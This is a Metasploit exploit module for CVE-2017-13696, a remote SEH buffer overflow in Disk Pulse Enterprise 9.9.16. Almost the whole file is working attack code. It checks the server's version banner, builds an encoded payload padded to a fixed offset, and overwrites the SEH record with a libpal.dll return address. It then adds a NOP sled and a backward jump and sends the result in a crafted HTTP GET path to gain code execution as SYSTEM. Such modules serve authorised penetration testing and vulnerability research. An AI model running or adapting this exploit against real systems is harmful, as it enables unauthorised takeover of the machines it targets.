Disk Pulse Enterprise GET Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
        'Description' => %q{
          This module exploits an SEH buffer overflow in Disk Pulse Enterprise
          9.9.16. If a malicious user sends a crafted HTTP GET request
          it is possible to execute a payload that would run under the Windows
          NT AUTHORITY\SYSTEM account.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Chance Johnson', # msf module - [email protected]
          'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
        ],
        'References' => [
          [ 'CVE', '2017-13696' ],
          [ 'EDB', '42560' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'EncoderType' => "alpha_mixed",
          'BadChars' => "\x00\x0a\x0d\x26"
        },
        'Targets' => [
          [
            'Disk Pulse Enterprise 9.9.16',
            {
              'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
              'Offset' => 2492
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2017-08-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(80)])
  end

  def check
    res = send_request_cgi(
      'uri' => '/',
      'method' => 'GET'
    )

    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def exploit
    connect

    print_status("Generating exploit...")
    exp = payload.encoded
    exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
    exp << generate_seh_record(target.ret)
    exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
    exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
    exp << 'B' * (5000 - exp.length) # padding

    print_status("Sending exploit...")

    send_request_cgi(
      'uri' => '/../' + exp,
      'method' => 'GET',
      'host' => '4.2.2.2',
      'connection' => 'keep-alive'
    )

    handler
    disconnect
  end
end